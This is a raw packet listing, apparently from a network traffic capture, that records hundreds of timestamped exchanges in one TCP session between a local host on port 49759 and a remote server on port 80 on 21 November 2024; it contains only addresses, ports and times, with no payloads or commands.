Nov 21, 2024 22:33:47.255179882 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.255245924 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.255296946 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.256675005 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.256722927 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.256763935 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.256809950 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.258174896 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.258224964 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.258322001 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.258373976 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.259707928 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.259762049 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.259805918 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.259852886 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.261193037 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.261243105 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.261329889 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.261379957 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.262788057 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.262840033 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.262897968 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.262945890 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.264242887 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.264290094 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.264317989 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.264364004 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.265738964 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.265789986 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.265861988 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.265909910 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.267297029 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.267328978 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.267344952 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.267365932 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.268796921 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.268845081 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.268877983 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.268923998 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.270270109 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.270319939 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.270358086 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.270405054 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.271809101 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.271857977 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.271984100 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.272032022 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.273396969 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.273444891 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.273507118 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.273552895 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.274898052 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.274946928 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.274979115 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.275031090 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.333189011 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.333302975 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.333343029 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.333621025 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.333925009 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.333975077 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.334041119 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.334079981 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.335470915 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.335520983 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.335525036 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.335561991 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.336951017 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.337019920 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.337059975 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.337104082 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.338481903 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.338541985 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.338581085 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.338624954 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.339968920 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.340094090 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.340128899 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.340147972 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.341511965 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.341567039 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.341660976 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.341705084 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.343024015 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.343070030 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.343103886 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.343151093 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.344516993 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.344567060 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.344585896 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.344626904 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.346090078 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.346143961 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.346174002 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.346215010 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.347569942 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.347628117 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.347779036 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.347832918 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.349076033 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.349123955 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.349183083 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.349231958 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.350574017 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.350636959 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.350672960 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.350722075 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.352102041 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.352148056 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.352214098 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.352260113 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.353661060 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.353729010 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.411400080 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.411494970 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.411495924 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.411540031 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.412117004 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.412173033 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.412229061 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.412272930 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.413611889 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.413654089 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.413661003 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.413703918 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.415134907 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.415194988 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.415231943 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.415277004 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.416676998 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.416779995 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.416802883 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.416820049 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.418162107 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.418210030 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.418251991 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.418303967 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.419678926 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.419722080 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.419756889 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.419833899 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.421200991 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.421246052 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.421278954 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.421416998 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.422696114 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.422744036 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.422795057 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.422836065 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.424232006 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.424278975 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.424335957 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.424385071 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.425833941 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.425884008 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.425903082 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.425944090 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.427328110 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.427417040 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.427483082 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.427515984 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.428817987 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.428865910 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.428999901 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.429048061 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.430315971 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.430382013 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.430519104 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.430569887 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.431761980 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.431823969 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.490076065 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.490128994 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.490195990 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.490235090 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.490786076 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.490833998 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.490873098 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.490915060 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.492332935 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.492374897 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.492397070 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.492430925 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.493875980 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.493889093 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.493920088 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.493937969 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.495331049 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.495378017 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.495429993 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.495476007 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.496854067 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.496898890 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.497071028 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.497118950 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.498382092 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.498444080 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.498639107 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.498682022 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.499850988 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.499897957 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.499958992 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.500010967 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.501413107 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.501456976 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.501527071 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.501570940 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.502902985 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.502948046 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.502963066 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.502996922 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.504436970 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.504497051 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.504528046 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.504563093 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.506115913 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.506160975 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.506252050 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.506295919 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.507446051 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.507488012 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.507567883 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.507611036 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.509052038 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.509098053 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.509143114 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.509186983 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.510492086 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.510540962 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.510555983 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.510592937 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.512006998 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.512051105 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.568147898 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.568202972 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.568316936 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.568365097 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.568537951 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.568579912 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.568613052 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.568655014 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.570041895 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.570101023 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.570264101 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.570308924 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.571544886 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.571599960 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.571656942 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.571702003 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.573057890 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.573115110 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.573163033 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.573205948 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.574599028 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.574670076 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.574738979 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.574779987 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.576101065 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.576158047 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.576198101 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.576240063 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.577630997 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.577713013 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.577748060 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.577814102 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.579132080 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.579178095 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.579224110 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.579265118 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.580645084 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.580693960 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.580815077 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.580854893 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.582165956 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.582214117 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.582314014 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.582355022 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.583659887 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.583713055 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.583846092 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.583890915 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.585473061 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.585546970 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.585649967 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.585692883 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.586695910 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.586755037 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.586805105 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.586850882 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.588215113 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.588268995 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.588293076 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.588335037 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.589728117 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.589782953 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.589838982 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.589880943 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.646564960 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.646605968 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.646632910 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.646651030 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.647217989 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.647268057 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.647281885 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.647326946 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.648751974 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.648798943 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.648879051 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.648931980 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.650358915 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.650408030 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.650492907 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.650540113 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.651863098 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.651912928 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.651990891 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.652039051 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.653289080 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.653338909 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.653407097 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.653454065 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.654793978 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.654849052 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.654900074 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.654949903 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.656317949 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.656363964 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.656378031 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.656419992 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.657839060 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.657887936 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.658020020 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.658070087 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.659415007 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.659461021 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.659710884 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.659759998 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.660866022 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.660913944 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.661071062 CET	80	49759	109.107.157.132	192.168.2.4
